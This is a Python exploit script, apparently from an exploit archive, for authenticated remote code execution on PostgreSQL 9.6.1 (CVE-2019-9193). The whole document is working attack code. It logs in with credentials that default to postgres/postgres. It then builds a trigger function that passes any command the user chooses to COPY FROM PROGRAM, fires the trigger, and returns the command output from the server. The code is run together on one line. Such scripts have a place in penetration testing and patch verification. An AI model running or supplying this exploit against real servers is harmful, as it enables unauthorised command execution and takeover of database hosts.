# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated) # Date: 2023-02-01 # Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon # Github: https://github.com/paulotrindadec/CVE-2019-9193 # Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu # Tested on: Red Hat Enterprise Linux Server 7.9 # CVE: CVE-2019–9193 #!/usr/bin/python3 import sys import psycopg2 import argparse def parseArgs(): parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution') parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]') parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]') parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]') parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]') parser.add_argument('-c', '--command', nargs='?', help='System command to run') args = parser.parse_args() return args def main(): try: # Variables RHOST = args.ip RPORT = args.port USER = args.user PASS = args.password print(f"\r\n[+] Connect to PostgreSQL - {RHOST}") con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS) if (args.command): exploit(con) else: print ("[!] Add argument -c [COMMAND] to execute system commands") except psycopg2.OperationalError as e: print("Error") print ("\r\n[-] Failed to connect with PostgreSQL") exit() def exploit(con): cur = con.cursor() CMD = args.command try: print('[*] Running\n') cur.execute("DROP TABLE IF EXISTS triggeroffsec;") cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;") cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;") cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;") cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);") cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd() RETURNS TRIGGER LANGUAGE plpgsql AS $BODY$ BEGIN COPY triggeroffsec (cmdout) FROM PROGRAM %s; RETURN NULL; END; $BODY$; """,[CMD,] ) cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);") cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd AFTER INSERT ON triggeroffsecsource FOR EACH STATEMENT EXECUTE PROCEDURE triggeroffsecexeccmd(); """) cur.execute("INSERT INTO triggeroffsecsource VALUES (2);") cur.execute("TABLE triggeroffsec;") con.commit() returncmd = cur.fetchall() for result in returncmd: print(result) except (Exception, psycopg2.DatabaseError) as error: print(error) finally: if con is not None: con.close() #print("Closed connection") if __name__ == "__main__": args = parseArgs() main()